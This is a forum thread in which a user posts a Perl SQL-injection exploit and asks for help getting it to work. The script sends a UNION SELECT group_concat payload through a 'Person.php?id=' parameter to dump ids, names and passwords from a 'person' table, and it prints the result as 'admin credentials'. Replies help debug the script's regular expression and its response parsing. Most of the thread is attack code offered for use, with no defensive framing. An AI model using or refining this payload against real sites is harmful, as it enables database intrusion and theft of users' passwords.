Im writing a exploit and wondering if anyone can perfect this exploit because im gettting no usernaem or password
heres it
| Code: |
#!/usr/bin/perl -w
use LWP::UserAgent;
my $host = "http://www.blahblahblah.com/blahblah/";
my $target = "Person.php?id=";
my $sql = "225%20union%20all%20select%201,group_concat
(id,0x7c,First,0x3a,Last,0x3a,Password)%20from%20person--";
my $hack = $host.$target.$sql;
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $ua->request(HTTP::Request->new(GET=>$hack));
my $answer = $req->content;
if($answer =~ /First:(.*)|Password:(.)</) {
print "[+] exploit succeed fetching admin cridentials\n";
sleep(3);
print "admin username: $1\n";
}
|

I don't really get your regular expression
| Code: | | if($answer =~ /First:(.*)|Password:(.)</) |
Your SQL query is:
| Code: | | (id,0x7c,First,0x3a,Last,0x3a,Password) |
Which will output something like:
But I believe you expect the result of the query to be:
| Code: | | id:1|First:John|Last:Doe|Password:MyPass |
Try changing your regex to
| Code: | | if($answer =~ /(.+)|(.+):(.+)/) |
Not 100% sure but I believe it should be something like that. Didn't write any perl for a while though  |

I think I know what the problem is. You get the content of the webpage (starting with the <html> tag), but you don't cycle through each line, you only check the first line with your regular expression
I believe you should put the $req->content in an array and then process it in a foreach loop. |
